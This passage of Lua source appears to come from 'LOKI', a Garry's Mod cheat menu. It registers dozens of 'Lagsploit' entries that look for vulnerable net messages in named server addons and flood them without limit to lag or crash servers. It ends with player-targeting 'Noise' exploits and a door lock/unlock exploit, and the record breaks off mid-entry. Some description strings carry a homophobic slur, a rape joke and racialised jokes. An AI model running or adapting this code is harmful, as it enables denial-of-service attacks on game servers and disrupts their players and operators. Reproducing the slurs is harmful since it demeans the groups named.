6178 desc = "*nuzzles server*",
6179 severity = 95,
6180 bools = {enabled = true},
6181 status = 1,
6182 msgs_per_tick = LOKI.GetEnabledCount,
6183 times_per_tick = math.huge,
6184 scan = function() return istable(TeamTable) end,
6185 hooks = {
6186 Think = function(tbl, sploit)
6187 LOKI.MultiSend(sploit)
6188 end,
6189 },
6190 functions = {
6191 { typ = "bools", tbl = {"DemoteUser", "PromoteUser"}}
6192 },
6193} )
6194LOKI.AddExploit( "Lagsploit", {
6195 desc = "Incident ID: SERVER/1337 Reason: Cheating",
6196 severity = 95,
6197 bools = {enabled = false},
6198 status = 1,
6199 times_per_tick = math.huge,
6200 scan = function() return LOKI.ValidNetString("controlled_vars") || LOKI.DynamicNetString("diagnostics") || LOKI.DynamicNetString("luadev") end,
6201 hooks = {
6202 Think = function(tbl, sploit)
6203 LOKI.MultiSend(sploit)
6204 end,
6205 },
6206 functions = {
6207 { typ = "bools", tbl = {"diagnostics1", "diagnostics2", "diagnostics3", "controlled_vars", LOKI.DynamicNetString("luadev")}}
6208 },
6209} )
6210LOKI.AddExploit( "Lagsploit", {
6211 desc = "game.GetWorld():Remove()",
6212 severity = 95,
6213 bools = {enabled = false},
6214 status = 1,
6215 times_per_tick = math.huge,
6216 scan = function() return LOKI.ValidNetString("ContentRmvProps") end,
6217 hooks = {
6218 Think = function(tbl, sploit)
6219 LOKI.NetStart(sploit, "ContentRmvProps")
6220 net.SendToServer()
6221 end,
6222 },
6223 functions = {
6224 { typ = "bool" }
6225 },
6226} )
6227LOKI.AddExploit( "Lagsploit", {
6228 desc = "LocalPlayer():SetClothing(nil)",
6229 severity = 95,
6230 bools = {enabled = false},
6231 status = 1,
6232 times_per_tick = math.huge,
6233 scan = function() return LOKI.ValidNetString("bodygroups_change") end,
6234 hooks = {
6235 Think = function(tbl, sploit)
6236 LOKI.NetStart(sploit, "bodygroups_change")
6237 net.SendToServer()
6238 end,
6239 },
6240 functions = {
6241 { typ = "bool" }
6242 },
6243} )
6244LOKI.AddExploit( "Lagsploit", {
6245 desc = "Wash the server fans to keep them clean",
6246 severity = 95,
6247 bools = {enabled = false},
6248 status = 1,
6249 times_per_tick = math.huge,
6250 scan = function() return LOKI.ValidNetString("PS_ModifyItem") end,
6251 hooks = {
6252 Think = function(tbl, sploit)
6253 LOKI.NetStart(sploit, "PS_ModifyItem")
6254 net.SendToServer()
6255 end,
6256 },
6257 functions = {
6258 { typ = "bool" }
6259 },
6260} )
6261LOKI.AddExploit( "Lagsploit", {
6262 desc = "System.AllocMem(System.GetMem());",
6263 severity = 95,
6264 bools = {enabled = true},
6265 status = 1,
6266 msgs_per_tick = LOKI.GetEnabledCount,
6267 times_per_tick = math.huge,
6268 scan = function() return VJBASE_VERSION != nil end,
6269 hooks = {
6270 Think = function(tbl, sploit)
6271 LOKI.MultiSend(sploit)
6272 end,
6273 },
6274 functions = {
6275 { typ = "bools", tbl = {"vj_npcmover_removeall", "vj_npcmover_sv_startmove"}}
6276 },
6277} )
6278LOKI.AddExploit( "Lagsploit", {
6279 desc = "Use the servers GPU as a miner",
6280 severity = 95,
6281 bools = {enabled = false},
6282 status = 1,
6283 times_per_tick = math.huge,
6284 scan = function() return LOKI.ValidNetString("aom_set_bool") end,
6285 hooks = {
6286 Think = function(tbl, sploit)
6287 LOKI.NetStart(sploit, "aom_set_bool")
6288 net.SendToServer()
6289 end,
6290 },
6291 functions = {
6292 { typ = "bool" }
6293 },
6294} )
6295LOKI.AddExploit( "Lagsploit", {
6296 desc = "Place a hit on the server",
6297 severity = 95,
6298 bools = {enabled = false},
6299 status = 1,
6300 times_per_tick = math.huge,
6301 scan = function() return LOKI.ValidNetString("hhh_request") end,
6302 hooks = {
6303 Think = function(tbl, sploit)
6304 LOKI.NetStart(sploit, "hhh_request")
6305 net.SendToServer()
6306 end,
6307 },
6308 functions = {
6309 { typ = "bool" }
6310 },
6311} )
6312LOKI.AddExploit( "Lagsploit", {
6313 desc = "Force the server to listen to Gucci Gang",
6314 severity = 95,
6315 bools = {enabled = true},
6316 status = 1,
6317 msgs_per_tick = LOKI.GetEnabledCount,
6318 times_per_tick = math.huge,
6319 scan = function() return MGangs != nil || isfunction(MG_AdminMenu) end,
6320 hooks = {
6321 Think = function(tbl, sploit)
6322 LOKI.MultiSend(sploit)
6323 end,
6324 },
6325 functions = {
6326 { typ = "bools", tbl = {"MG2.Gang.Create", "MG2.Gang.UpdateGroups", "mg_creategang", "mg_plyupdateganggroups"}}
6327 },
6328} )
6329LOKI.AddExploit( "Lagsploit", {
6330 desc = "It's flu season and the server forgot to get vaccinated",
6331 severity = 95,
6332 bools = {enabled = true},
6333 status = 1,
6334 msgs_per_tick = LOKI.GetEnabledCount,
6335 times_per_tick = math.huge,
6336 scan = function() return LOKI.DynamicNetString("smartdisease") end,
6337 hooks = {
6338 Think = function(tbl, sploit)
6339 LOKI.MultiSend(sploit)
6340 end,
6341 },
6342 functions = {
6343 { typ = "bools", tbl = {"smartdisease_buy", "smartdisease_buy_vaccine"}}
6344 },
6345} )
6346LOKI.AddExploit( "Lagsploit", {
6347 desc = "cl_ping_delay 0",
6348 severity = 95,
6349 bools = {enabled = false},
6350 status = 1,
6351 times_per_tick = math.huge,
6352 scan = function() return LOKI.ValidNetString("StatusScreen_Ping") end,
6353 hooks = {
6354 Think = function(tbl, sploit)
6355 LOKI.NetStart(sploit, "StatusScreen_Ping")
6356 net.SendToServer()
6357 end,
6358 },
6359 functions = {
6360 { typ = "bool" }
6361 },
6362} )
6363LOKI.AddExploit( "Lagsploit", {
6364 desc = "Preparing to send data [inf parts]",
6365 severity = 95,
6366 bools = {enabled = true},
6367 status = 1,
6368 msgs_per_tick = LOKI.GetEnabledCount,
6369 times_per_tick = math.huge,
6370 scan = function() return LOKI.ValidNetString("ScreengrabInitCallback") || LOKI.ValidNetString("grab_ScreenshotToServer") end,
6371 hooks = {
6372 Think = function(tbl, sploit)
6373 LOKI.MultiSend(sploit)
6374 end,
6375 },
6376 functions = {
6377 { typ = "bools", tbl = {"ScreengrabInitCallback", "grab_ScreenshotToServer"}}
6378 },
6379} )
6380LOKI.AddExploit( "Lagsploit", {
6381 desc = "SERVER: *crashes internally*",
6382 severity = 95,
6383 bools = {enabled = false},
6384 status = 1,
6385 times_per_tick = math.huge,
6386 scan = function() return LOKI.ValidNetString("sgGiveFriendStatusAll") end,
6387 hooks = {
6388 Think = function(tbl, sploit)
6389 LOKI.NetStart(sploit, "sgGiveFriendStatusAll")
6390 net.SendToServer()
6391 end,
6392 },
6393 functions = {
6394 { typ = "bool" }
6395 },
6396} )
6397LOKI.AddExploit( "Lagsploit", {
6398 desc = "Be the giant flamboyant faggot kid",
6399 severity = 95,
6400 bools = {enabled = false},
6401 status = 1,
6402 times_per_tick = math.huge,
6403 scan = function() return LOKI.ValidNetString("NStatistics_SendPlayerStatistic") end,
6404 hooks = {
6405 Think = function(tbl, sploit)
6406 LOKI.NetStart(sploit, "NStatistics_SendPlayerStatistic")
6407 net.SendToServer()
6408 end,
6409 },
6410 functions = {
6411 { typ = "bool" }
6412 },
6413} )
6414LOKI.AddExploit( "Lagsploit", {
6415 desc = "The load limit is 40 tonnes but you're hauling 110",
6416 severity = 95,
6417 bools = {enabled = false},
6418 status = 1,
6419 times_per_tick = math.huge,
6420 scan = function() return LOKI.ValidNetString("SCarSpawnSendFile") end,
6421 hooks = {
6422 Think = function(tbl, sploit)
6423 LOKI.NetStart(sploit, "SCarSpawnSendFile")
6424 net.SendToServer()
6425 end,
6426 },
6427 functions = {
6428 { typ = "bool" }
6429 },
6430} )
6431LOKI.AddExploit( "Lagsploit", {
6432 desc = "Man, this server sure is laggy today",
6433 severity = 95,
6434 bools = {enabled = false},
6435 status = 1,
6436 times_per_tick = math.huge,
6437 scan = function() return LOKI.ValidNetString("ts_buytitle") end,
6438 hooks = {
6439 Think = function(tbl, sploit)
6440 LOKI.NetStart(sploit, "ts_buytitle")
6441 net.SendToServer()
6442 end,
6443 },
6444 functions = {
6445 { typ = "bool" }
6446 },
6447} )
6448LOKI.AddExploit( "Lagsploit", {
6449 desc = "Pull the power plug on the server",
6450 severity = 95,
6451 bools = {enabled = false},
6452 status = 1,
6453 times_per_tick = math.huge,
6454 scan = function() return LOKI.ValidNetString("UpdateNameColor") end,
6455 hooks = {
6456 Think = function(tbl, sploit)
6457 LOKI.NetStart(sploit, "UpdateNameColor")
6458 net.SendToServer()
6459 end,
6460 },
6461 functions = {
6462 { typ = "bool" }
6463 },
6464} )
6465LOKI.AddExploit( "Lagsploit", {
6466 desc = "I'll take one serving of poorly optimized code, please",
6467 severity = 95,
6468 bools = {enabled = false},
6469 status = 1,
6470 times_per_tick = math.huge,
6471 scan = function() return LOKI.ValidNetString("noob_playerperks") end,
6472 hooks = {
6473 Think = function(tbl, sploit)
6474 LOKI.NetStart(sploit, "noob_playerperks")
6475 net.SendToServer()
6476 end,
6477 },
6478 functions = {
6479 { typ = "bool" }
6480 },
6481} )
6482LOKI.AddExploit( "Lagsploit", {
6483 desc = "Who needs doors when you can just smash through a wall?",
6484 severity = 95,
6485 bools = {enabled = true},
6486 status = 1,
6487 msgs_per_tick = LOKI.GetEnabledCount,
6488 times_per_tick = math.huge,
6489 scan = function() return LOKI.DynamicNetString("advdoors") end,
6490 hooks = {
6491 Think = function(tbl, sploit)
6492 LOKI.MultiSend(sploit)
6493 end,
6494 },
6495 functions = {
6496 { typ = "bools", tbl = {"advdoors_purchasemod", "advdoors_updaterent", "advdoors_rent", "advdoors_settitle", "advdoors_coowneradd", "advdoors_coownerallowedremove", "advdoors_coownerremove", "advdoors_transferownership", "advdoors_toggleownership", "advdoors_addblacklist", "advdoors_removeblacklist", "advdoors_addjob", "advdoors_setgroup", "advdoors_jobremove", "advdoors_anyplayer", "advdoors_addjobplayer", "advdoors_jobremoveplayer", "advdoors_changeprice", "advdoors_otheractions"}}
6497 },
6498} )
6499LOKI.AddExploit( "Lagsploit", {
6500 desc = "Fill the server full of lead",
6501 severity = 95,
6502 bools = {enabled = false},
6503 status = 1,
6504 times_per_tick = math.huge,
6505 scan = function() return LOKI.ValidNetString("perm_buyweapon") end,
6506 hooks = {
6507 Think = function(tbl, sploit)
6508 LOKI.NetStart(sploit, "perm_buyweapon")
6509 net.SendToServer()
6510 end,
6511 },
6512 functions = {
6513 { typ = "bool" }
6514 },
6515} )
6516LOKI.AddExploit( "Lagsploit", {
6517 desc = "Pour some gas in the server room and light it up",
6518 severity = 95,
6519 bools = {enabled = true},
6520 status = 1,
6521 msgs_per_tick = LOKI.GetEnabledCount,
6522 times_per_tick = math.huge,
6523 scan = function() return LOKI.DynamicNetString("zrush") end,
6524 hooks = {
6525 Think = function(tbl, sploit)
6526 LOKI.MultiSend(sploit, function()
6527 net.WriteFloat(LOKI.GetLP():EntIndex())
6528 end)
6529 end,
6530 },
6531 functions = {
6532 { typ = "bools", tbl = {"zrush_BarrelCollectFuel_net", "zrush_BarrelSplitFuel_net", "zrush_MachineCrateOB_Place_net", "zrush_MachineCrateBuilder_DeselectEntity_net"}}
6533 },
6534} )
6535LOKI.AddExploit( "Lagsploit", {
6536 desc = "Drunk drive through the server farm",
6537 severity = 95,
6538 bools = {enabled = false},
6539 status = 1,
6540 times_per_tick = math.huge,
6541 scan = function() return LOKI.ValidNetString("CarDisplayPurchaseCar") end,
6542 hooks = {
6543 Think = function(tbl, sploit)
6544 LOKI.NetStart(sploit, "CarDisplayPurchaseCar")
6545 net.SendToServer()
6546 end,
6547 },
6548 functions = {
6549 { typ = "bool" }
6550 },
6551} )
6552LOKI.AddExploit( "Lagsploit", {
6553 desc = "Beat the server to death with a cash register",
6554 severity = 95,
6555 bools = {enabled = true},
6556 status = 1,
6557 msgs_per_tick = LOKI.GetEnabledCount,
6558 times_per_tick = math.huge,
6559 scan = function() return LOKI.DynamicNetString("cashregister") end,
6560 hooks = {
6561 Think = function(tbl, sploit)
6562 LOKI.MultiSend(sploit, function()
6563 net.WriteEntity(LOKI.GetLP())
6564 end)
6565 end,
6566 },
6567 functions = {
6568 { typ = "bools", tbl = {"cashregister_settings_color", "cashregister_settings_remowner", "cashregister_settings_addowner", "cashregister_settings_setpayrece", "cashregister_do_reset", "cashregister_do_refound"}}
6569 },
6570} )
6571LOKI.AddExploit( "Lagsploit", {
6572 desc = "Order a DDoS on the Black Market",
6573 severity = 95,
6574 bools = {enabled = false},
6575 status = 1,
6576 times_per_tick = math.huge,
6577 scan = function() return LOKI.ValidNetString("bm_DoAddMarket") end,
6578 hooks = {
6579 Think = function(tbl, sploit)
6580 LOKI.NetStart(sploit, "bm_DoAddMarket")
6581 net.SendToServer()
6582 end,
6583 },
6584 functions = {
6585 { typ = "bool" }
6586 },
6587} )
6588LOKI.AddExploit( "Lagsploit", {
6589 desc = "There's no brakes on the rape mobile",
6590 severity = 95,
6591 bools = {enabled = true},
6592 status = 1,
6593 msgs_per_tick = LOKI.GetEnabledCount,
6594 times_per_tick = math.huge,
6595 scan = function() return LOKI.DynamicNetString("fcd.") end,
6596 hooks = {
6597 Think = function(tbl, sploit)
6598 LOKI.MultiSend(sploit, {["fcd_chopshopyes"] = function() net.WriteEntity(LOKI.GetLP()) end})
6599 end,
6600 },
6601 functions = {
6602 { typ = "bools", tbl = {"fcd.addVehicle", "fcd.spawnVehicle", "fcd_chopshopyes"} }
6603 },
6604} )
6605LOKI.AddExploit( "Lagsploit", {
6606 desc = "Order an Industrial Grade Lag Bomb",
6607 severity = 95,
6608 bools = {enabled = false},
6609 status = 1,
6610 times_per_tick = math.huge,
6611 scan = function() return LOKI.ValidNetString("gindustrial_item_sources") end,
6612 hooks = {
6613 Think = function(tbl, sploit)
6614 LOKI.NetStart(sploit, "gindustrial_item_sources")
6615 net.SendToServer()
6616 end,
6617 },
6618 functions = {
6619 { typ = "bool" }
6620 },
6621} )
6622LOKI.AddExploit( "Lagsploit", {
6623 desc = "Start Hacking Mission",
6624 severity = 95,
6625 bools = {enabled = false},
6626 status = 1,
6627 times_per_tick = math.huge,
6628 scan = function() return LOKI.ValidNetString("StartHackingMission") end,
6629 hooks = {
6630 Think = function(tbl, sploit)
6631 LOKI.NetStart(sploit, "StartHackingMission")
6632 net.SendToServer()
6633 end,
6634 },
6635 functions = {
6636 { typ = "bool" }
6637 },
6638} )
6639LOKI.AddExploit( "Lagsploit", {
6640 desc = "Damn printers always getting jammed",
6641 severity = 95,
6642 bools = {enabled = true},
6643 status = 1,
6644 msgs_per_tick = LOKI.GetEnabledCount,
6645 times_per_tick = math.huge,
6646 scan = function() return LOKI.DynamicNetString("NGII_") end,
6647 hooks = {
6648 Think = function(tbl, sploit)
6649 LOKI.MultiSend(sploit)
6650 end,
6651 },
6652 functions = {
6653 { typ = "bools", tbl = {"NGII_TakeMoney", "NGII_UninstallMod"} }
6654 },
6655} )
6656LOKI.AddExploit( "Lagsploit", {
6657 desc = "Only the finest grade lag",
6658 severity = 95,
6659 bools = {enabled = false},
6660 status = 1,
6661 times_per_tick = math.huge,
6662 scan = function() return LOKI.ValidNetString("ncpstoredoact") end,
6663 hooks = {
6664 Think = function(tbl, sploit)
6665 LOKI.NetStart(sploit, "ncpstoredoact")
6666 net.SendToServer()
6667 end,
6668 },
6669 functions = {
6670 { typ = "bool" }
6671 },
6672} )
6673LOKI.AddExploit( "Lagsploit", {
6674 desc = "Purchase a DDoS attack with your spare credits",
6675 severity = 95,
6676 bools = {enabled = true},
6677 status = 1,
6678 msgs_per_tick = LOKI.GetEnabledCount,
6679 times_per_tick = math.huge,
6680 scan = function() return LOKI.DynamicNetString("credit_") end,
6681 hooks = {
6682 Think = function(tbl, sploit)
6683 LOKI.MultiSend(sploit)
6684 end,
6685 },
6686 functions = {
6687 { typ = "bools", tbl = {"credit_pay", "credit_loan", "credit_loan_deny"} }
6688 },
6689} )
6690LOKI.AddExploit( "Lagsploit", {
6691 desc = "Load up LOIC like a big boy hacker",
6692 severity = 95,
6693 bools = {enabled = false},
6694 status = 1,
6695 times_per_tick = math.huge,
6696 scan = function() return LOKI.ValidNetString("usec_keypad") end,
6697 hooks = {
6698 Think = function(tbl, sploit)
6699 LOKI.NetStart(sploit, "usec_keypad")
6700 net.SendToServer()
6701 end,
6702 },
6703 functions = {
6704 { typ = "bool" }
6705 },
6706} )
6707LOKI.AddExploit( "Lagsploit", {
6708 desc = "Show the world how much of a sore loser you are",
6709 severity = 95,
6710 bools = {enabled = false},
6711 status = 1,
6712 times_per_tick = math.huge,
6713 scan = function() return LOKI.ValidNetString("movePiece") end,
6714 hooks = {
6715 Think = function(tbl, sploit)
6716 LOKI.NetStart(sploit, "movePiece")
6717 net.SendToServer()
6718 end,
6719 },
6720 functions = {
6721 { typ = "bool" }
6722 },
6723} )
6724LOKI.AddExploit( "Lagsploit", {
6725 desc = "Man, this lag sure does make driving difficult",
6726 severity = 95,
6727 bools = {enabled = true},
6728 status = 1,
6729 msgs_per_tick = LOKI.GetEnabledCount,
6730 times_per_tick = math.huge,
6731 scan = function() return nucardealer != nil end,
6732 hooks = {
6733 Think = function(tbl, sploit)
6734 LOKI.MultiSend(sploit)
6735 end,
6736 },
6737 functions = {
6738 { typ = "bools", tbl = {"nucauction_post", "nucardealer_spawn"} }
6739 },
6740} )
6741LOKI.AddExploit( "Lagsploit", {
6742 desc = "Looks like the server printer ran out of ink",
6743 severity = 95,
6744 bools = {enabled = true},
6745 status = 1,
6746 msgs_per_tick = LOKI.GetEnabledCount,
6747 times_per_tick = math.huge,
6748 prevalidated = true,
6749 scan = function() return LOKI.ValidNetString("gPrinters.addUpgrade", "gPrinters.sendID") end,
6750 hooks = {
6751 Think = function(tbl, sploit)
6752 LOKI.MultiSend(sploit)
6753 end,
6754 },
6755 functions = {
6756 { typ = "bools", tbl = {"gPrinters.addUpgrade", "gPrinters.sendID"} }
6757 },
6758} )
6759LOKI.AddExploit( "Lagsploit", {
6760 desc = "Faulty printers causing the servers ink to bleed",
6761 severity = 95,
6762 bools = {enabled = true},
6763 status = 1,
6764 msgs_per_tick = LOKI.GetEnabledCount,
6765 times_per_tick = math.huge,
6766 scan = function() return LOKI.DynamicNetString("lithium") end,
6767 hooks = {
6768 Think = function(tbl, sploit)
6769 LOKI.MultiSend(sploit)
6770 end,
6771 },
6772 functions = {
6773 { typ = "bools", tbl = {"buyLp2Item", "lithium_printers_2_small_rack_screen", "lithiumPrinter2Donator", "lithiumPrinter2Obsidian", "lithiumPrinter2Silver", "lithiumPrinter2Iron", "lithiumPrinter2Economic", "lithiumPrinter2Bronze"} }
6774 },
6775} )
6776LOKI.AddExploit( "Lagsploit", {
6777 desc = "Suggest the server gets better security",
6778 severity = 95,
6779 bools = {enabled = true},
6780 status = 1,
6781 msgs_per_tick = LOKI.GetEnabledCount,
6782 times_per_tick = math.huge,
6783 scan = function() return LOKI.DynamicNetString("Suggestions") end,
6784 hooks = {
6785 Think = function(tbl, sploit)
6786 LOKI.MultiSend(sploit)
6787 end,
6788 },
6789 functions = {
6790 { typ = "bools", tbl = {"SuggestionsClientEdits", "SuggestionsGetInfo"}}
6791 },
6792} )
6793LOKI.AddExploit( "Lagsploit", {
6794 desc = "'net library optimizations'",
6795 severity = 95,
6796 bools = {enabled = true},
6797 status = 1,
6798 msgs_per_tick = LOKI.GetEnabledCount,
6799 times_per_tick = math.huge,
6800 scan = function() return LOKI.DynamicNetString("LibK") end,
6801 hooks = {
6802 Think = function(tbl, sploit)
6803 LOKI.MultiSend(sploit)
6804 end,
6805 },
6806 functions = {
6807 { typ = "bools", tbl = {"LibK_Transaction", "ControllerAction"}}
6808 },
6809} )
6810LOKI.AddExploit( "Lagsploit", {
6811 desc = "Short Circuit the server",
6812 severity = 95,
6813 bools = {enabled = false},
6814 status = 1,
6815 times_per_tick = math.huge,
6816 scan = function() return LOKI.ValidNetString("PS2_ItemServerRPC") end,
6817 hooks = {
6818 Think = function(tbl, sploit)
6819 LOKI.NetStart(sploit, "PS2_ItemServerRPC")
6820 net.SendToServer()
6821 end,
6822 },
6823 functions = {
6824 { typ = "bool" }
6825 },
6826} )
6827LOKI.AddExploit( "Lagsploit", {
6828 desc = "Who thought it was a good idea to run printers on battery?",
6829 severity = 95,
6830 bools = {enabled = true},
6831 status = 1,
6832 msgs_per_tick = LOKI.GetEnabledCount,
6833 times_per_tick = math.huge,
6834 scan = function() return LOKI.DynamicNetString("fg_printer") end,
6835 hooks = {
6836 Think = function(tbl, sploit)
6837 LOKI.MultiSend(sploit)
6838 end,
6839 },
6840 functions = {
6841 { typ = "bools", tbl = {"fg_printer_upgrade_speed", "fg_printer_upgrade_quality", "fg_printer_upgrade_cooler", "fg_printer_power", "fg_printer_money"} }
6842 },
6843} )
6844LOKI.AddExploit( "Lagsploit", {
6845 desc = "Start a food fight in the server room",
6846 severity = 95,
6847 bools = {enabled = true},
6848 status = 1,
6849 msgs_per_tick = LOKI.GetEnabledCount,
6850 times_per_tick = math.huge,
6851 scan = function() return LOKI.DynamicNetString("zfs_") end,
6852 hooks = {
6853 Think = function(tbl, sploit)
6854 LOKI.MultiSend(sploit)
6855 end,
6856 },
6857 functions = {
6858 { typ = "bools", tbl = {"zfs_ItemPriceChange_sv", "zfs_ItemBuyUpdate_cl"} }
6859 },
6860} )
6861LOKI.AddExploit( "Lagsploit", {
6862 desc = "Add a special server lag effect to your hat",
6863 severity = 95,
6864 bools = {enabled = true},
6865 status = 1,
6866 msgs_per_tick = LOKI.GetEnabledCount,
6867 times_per_tick = math.huge,
6868 scan = function() return istable(HAT) end,
6869 hooks = {
6870 Think = function(tbl, sploit)
6871 LOKI.MultiSend(sploit)
6872 end,
6873 },
6874 functions = {
6875 { typ = "bools", tbl = {"BuyHats", "SendCustomHatData"} }
6876 },
6877} )
6878LOKI.AddExploit( "Lagsploit", {
6879 desc = "Add a special server lag effect to your hat",
6880 severity = 95,
6881 bools = {enabled = true},
6882 status = 1,
6883 msgs_per_tick = LOKI.GetEnabledCount,
6884 times_per_tick = math.huge,
6885 scan = function() return LOKI.DynamicNetString("VChars::") end,
6886 hooks = {
6887 Think = function(tbl, sploit)
6888 LOKI.MultiSend(sploit)
6889 end,
6890 },
6891 functions = {
6892 { typ = "bools", tbl = {"VChars::SelectCharacter", "VChars::CreateCharacter"} }
6893 },
6894} )
6895LOKI.AddExploit( "Lagsploit", {
6896 desc = "Modern hardware isn't designed for AI yet",
6897 severity = 95,
6898 bools = {enabled = true},
6899 status = 1,
6900 msgs_per_tick = LOKI.GetEnabledCount,
6901 times_per_tick = math.huge,
6902 scan = function() return LOKI.DynamicNetString("npctool") end,
6903 hooks = {
6904 Think = function(tbl, sploit)
6905 LOKI.MultiSend(sploit)
6906 end,
6907 },
6908 functions = {
6909 { typ = "bools", tbl = {"npctool_spawner_clearundo", "sv_npctool_spawner_ppoint"} }
6910 },
6911} )
6912LOKI.AddExploit( "Lagsploit", {
6913 desc = "game.GetWorld():Fire('Kill')",
6914 severity = 95,
6915 bools = {enabled = false},
6916 status = 1,
6917 msgs_per_tick = LOKI.GetEnabledCount,
6918 times_per_tick = math.huge,
6919 scan = function() return LOKI.ValidNetString("npcData") end,
6920 hooks = {
6921 Think = function(tbl, sploit)
6922 LOKI.NetStart(sploit, "npcData")
6923 net.SendToServer()
6924 end,
6925 },
6926 functions = {
6927 { typ = "bool" }
6928 },
6929} )
6930LOKI.AddExploit( "Lagsploit", {
6931 desc = "Flood the server lua stealer",
6932 severity = 95,
6933 bools = {enabled = false},
6934 status = 1,
6935 msgs_per_tick = LOKI.GetEnabledCount,
6936 times_per_tick = math.huge,
6937 scan = function() return LOKI.ValidNetString("gamemode_reload_string") end,
6938 hooks = {
6939 Think = function(tbl, sploit)
6940 LOKI.NetStart(sploit, "gamemode_reload_string")
6941 net.WriteString("GET ODIUM.PRO")
6942 net.SendToServer()
6943 end,
6944 },
6945 functions = {
6946 { typ = "bool" }
6947 },
6948} )
6949LOKI.AddExploit( "Lagsploit", {
6950 desc = "Use your toolgun. Very quickly",
6951 severity = 95,
6952 bools = {enabled = false},
6953 status = 1,
6954 msgs_per_tick = LOKI.GetEnabledCount,
6955 times_per_tick = math.huge,
6956 scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
6957 hooks = {
6958 Think = function(tbl, sploit)
6959 LOKI.NetStart(sploit, "AS_DoAttack")
6960 net.SendToServer()
6961 end,
6962 },
6963 functions = {
6964 { typ = "bool" }
6965 },
6966} )
6967LOKI.AddExploit( "Lagsploit", {
6968 desc = "Seems like a fault in the water purifier",
6969 severity = 95,
6970 bools = {enabled = false},
6971 status = 1,
6972 msgs_per_tick = LOKI.GetEnabledCount,
6973 times_per_tick = math.huge,
6974 scan = function() return LOKI.ValidNetString("lfs_player_request_filter") end,
6975 hooks = {
6976 Think = function(tbl, sploit)
6977 LOKI.NetStart(sploit, "lfs_player_request_filter")
6978 net.WriteEntity(LOKI.GetLP())
6979 net.SendToServer()
6980 end,
6981 net = {
6982 Receive = function(sploit, strName)
6983 if(strName == "lfs_player_request_filter") then
6984 return false
6985 end
6986 end,
6987 },
6988 },
6989 functions = {
6990 { typ = "bool" }
6991 },
6992} )
6993LOKI.AddExploit( "Lagsploit", {
6994 desc = "Hit the server with a killing spell",
6995 severity = 95,
6996 bools = {enabled = false},
6997 status = 1,
6998 msgs_per_tick = math.huge,
6999 times_per_tick = math.huge,
7000 scan = function() return LOKI.ValidNetString("hpwrewrite_achievement1") end,
7001 hooks = {
7002 Think = function(tbl, sploit)
7003 LOKI.NetStart(sploit, "hpwrewrite_achievement1")
7004 net.SendToServer()
7005 end,
7006 },
7007 functions = {
7008 { typ = "bool" }
7009 },
7010} )
7011LOKI.AddExploit( "Lagsploit", {
7012 desc = "Hit the server with a drone strike",
7013 severity = 95,
7014 bools = {enabled = true},
7015 status = 1,
7016 msgs_per_tick = LOKI.GetEnabledCount,
7017 times_per_tick = math.huge,
7018 scan = function() return LOKI.DynamicNetString("dronesrewrite") end,
7019 hooks = {
7020 Think = function(tbl, sploit)
7021 LOKI.MultiSend(sploit, function()
7022 net.WriteEntity(LOKI.GetLP())
7023 end)
7024 end,
7025 },
7026 functions = {
7027 { typ = "bools", tbl = {"dronesrewrite_requestweapons", "dronesrewrite_addfriends", "dronesrewrite_makebind", "dronesrewrite_controldr", "dronesrewrite_addfriend", "dronesrewrite_addmodule", "dronesrewrite_clickkey", "dronesrewrite_presskey"} }
7028 },
7029} )
7030LOKI.AddExploit( "Lagsploit", {
7031 desc = "Administration fees might bankrupt the server",
7032 severity = 95,
7033 bools = {enabled = true},
7034 status = 1,
7035 msgs_per_tick = LOKI.GetEnabledCount,
7036 times_per_tick = math.huge,
7037 scan = function() return LOKI.DynamicNetString("ECleaner") end,
7038 hooks = {
7039 Think = function(tbl, sploit)
7040 LOKI.MultiSend(sploit, function()
7041 net.WriteEntity(LOKI.GetLP())
7042 end)
7043 end,
7044 },
7045 functions = {
7046 { typ = "bools", tbl = {"ECleaner_ServerAction", "ECleaner_PlayEntity", "ECleaner_RestoreEntity"} }
7047 },
7048} )
7049LOKI.AddExploit( "Noise Exploit", {
7050 desc = "Causes players to become Lil Pump",
7051 severity = 1,
7052 bools = {enabled = false},
7053 status = 1,
7054 msgs_per_tick = function() return #LOKI.GetStored( "lil_plyz", {} ) end,
7055 times_per_tick = math.huge,
7056 scan = function() return LOKI.ValidNetString( "wanted_radio" ) end,
7057 hooks = {
7058 Think = function(tbl, sploit)
7059 for k, v in ipairs(LOKI.GetStored( "lil_plyz", {} )) do
7060 if IsValid(v) then
7061 LOKI.NetStart(sploit, 'wanted_radio')
7062 net.WriteEntity(v)
7063 net.WriteInt(1, 4)
7064 net.SendToServer()
7065 end
7066 end
7067 end,
7068 },
7069 functions = {
7070 { typ = "players", addr = "lil_plyz" },
7071 { typ = "bool", },
7072 },
7073} )
7074LOKI.AddExploit( "Noise Exploit", {
7075 desc = "Causes players to become African",
7076 severity = 1,
7077 bools = {enabled = false},
7078 status = 1,
7079 msgs_per_tick = function() return #LOKI.GetStored( "afro_plyz", {} ) end,
7080 times_per_tick = math.huge,
7081 scan = function() return LOKI.ValidNetString( "lockpick_sound" ) end,
7082 hooks = {
7083 Think = function(tbl, sploit)
7084 for k, v in ipairs(LOKI.GetStored( "afro_plyz", {} )) do
7085 if IsValid(v) then
7086 LOKI.NetStart(sploit, 'lockpick_sound')
7087 net.WriteEntity(v)
7088 net.SendToServer()
7089 end
7090 end
7091 end,
7092 },
7093 functions = {
7094 { typ = "players", addr = "afro_plyz" },
7095 { typ = "bool", },
7096 },
7097} )
7098LOKI.AddExploit( "Door Exploit", {
7099 desc = "Exploit the door you're looking at",
7100 severity = 1,
7101 bools = {enabled = false},
7102 status = 1,
7103 times_per_tick = 1,
7104 scan = function() return LOKI.ValidNetString( "fp_as_doorHandler" ) end,
7105 hooks = {
7106 Think = function(tbl, sploit)
7107 local v = LOKI.GetLP():GetEyeTrace().Entity
7108 local doorOwner = isfunction(v.getDoorData) && LOKI.ValidTable(v:getDoorData()) && v:getDoorData()["owner"] || nil
7109 LOKI.NetStart(sploit, "fp_as_doorHandler")
7110 net.WriteEntity(v)
7111 net.WriteString(tbl[1])
7112 if(doorOwner) then
7113 net.WriteDouble(doorOwner)
7114 end
7115 net.SendToServer()
7116 end,
7117 },
7118 functions = {
7119 { typ = "func", Name = "Lock", args = {"lock"} },
7120 { typ = "func", Name = "Unlock", args = {"unlock"} },
7121 { typ = "func", Name = "Remove Owner", args = {"removeOwner"} }
7122 },
7123} )
7124LOKI.AddExploit( "Door Exploit", {
7125 desc = "Unlock the door you're looking at",
7126 severity = 1,
7127 bools = {enabled = false},
7128 status = -1,
7129 times_per_tick = 1,
7130 scan = function() return LOKI.ValidNetString( "OpenGates" ) end,
